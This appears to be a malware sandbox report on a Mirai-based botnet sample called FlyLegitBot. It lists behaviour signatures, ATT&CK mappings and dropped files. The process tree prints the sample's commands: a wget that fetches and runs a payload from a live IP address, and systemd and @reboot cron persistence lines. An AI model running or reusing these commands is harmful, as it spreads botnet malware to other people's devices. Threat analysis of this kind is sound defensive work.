Overview

overview

10

Static

static

1

96707f44df...cea77a

ubuntu-18.04-amd64

10

96707f44df...cea77a

debian-9-armhf

10

96707f44df...cea77a

debian-9-mips

10

96707f44df...cea77a

debian-9-mipsel

10

Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/09/2026, 16:01

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General

  • Target
    96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
  • Size 250B
  • Sample260930-tf61zsca67
  • SHA256 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionflylegitbotpersistenceprivilege_escalation

Malware Config

Signatures

  • Family: FlyLegitBot

    FlyLegitBot is a Mirai-based botnet.

    botnetflylegitbot
  • Detects FlyLegitBot 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 1 IoCs
    persistence
  • Changes its process name 1 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
    /tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/uname
      uname -m
      2⤵
        PID:653
      • /usr/bin/wget
        wget -q -O iran.armv7l http://176.65.139.166:8080/iran.armv7l
        2⤵
        • Writes file to tmp directory
        PID:654
      • /bin/chmod
        chmod +x iran.armv7l
        2⤵
        • File and Directory Permissions Modification
        PID:677
      • /tmp/iran.armv7l
        ./iran.armv7l telnet
        2⤵
        • Deletes itself
        • Modifies init.d
        • Modifies systemd
        • Write file to user bin folder
        • Changes its process name
        • Reads runtime system information
        PID:680
        • /bin/sh
          /bin/sh -c "systemctl enable u1sAewJG9r6.service >/dev/null 2>&1 || true"
          3⤵
          • Command and Scripting Interpreter: Unix Shell
          PID:685
          • /bin/systemctl
            systemctl enable u1sAewJG9r6.service
            4⤵
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:686
        • /bin/sh
          sh -c "crontab -l 2>/dev/null"
          3⤵
            PID:700
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:701
            • /bin/sh
              /bin/sh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/local/bin/u1sAewJG9r6a29Y &') | crontab -"
              3⤵
              • Command and Scripting Interpreter: Unix Shell
              PID:702
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                • Reads runtime system information
                PID:704
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:705
          • /bin/rm
            rm -f iran.armv7l cat.sh
            2⤵
              PID:682

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                Unix Shell

                1
                T1059.004

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Persistence

                Boot or Logon Autostart Execution

                2
                T1547

                XDG Autostart Entries

                1
                T1547.013

                Boot or Logon Initialization Scripts

                1
                T1037

                RC Scripts

                1
                T1037.004

                Create or Modify System Process

                1
                T1543

                Systemd Service

                1
                T1543.002

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Privilege Escalation

                Boot or Logon Autostart Execution

                2
                T1547

                XDG Autostart Entries

                1
                T1547.013

                Boot or Logon Initialization Scripts

                1
                T1037

                RC Scripts

                1
                T1037.004

                Create or Modify System Process

                1
                T1543

                Systemd Service

                1
                T1543.002

                Scheduled Task/Job

                1
                T1053

                Cron

                1
                T1053.003

                Defense Evasion

                File and Directory Permissions Modification

                1
                T1222

                Linux and Mac File and Directory Permissions Modification

                1
                T1222.002

                Credential Access

                Discovery

                System Information Discovery

                1
                T1082

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

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                Downloads

                O2W4GJDgVdN
                • Path /etc/init.d/O2W4GJDgVdN
                • Size 181B
                • SHA256 e07a8faa21ba40b4c5cdfbe92015c875da289b45ac991635cef730870c12f918
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                u1sAewJG9r6.service
                • Path /etc/systemd/system/u1sAewJG9r6.service
                • Size 186B
                • SHA256 84faf8776a3b932947556b905163e04683f70f6b3cccb73cca4698399ca68dfd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                iran.armv7l
                • Path /tmp/iran.armv7l
                • Size 113KB
                • SHA256 629d6186d7c3af37a10aef5d1062cd644161331fd52121069c215536c69a8ec1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                tmp.K03L16
                • Path /var/spool/cron/crontabs/tmp.K03L16
                • Size 216B
                • SHA256 0fdf3509df9aac626d22a88ef7bc4866e5bf1548f968f6828800f60ee9f10376
                • MD5 SHA1 SHA512 TLSH
                Submit Download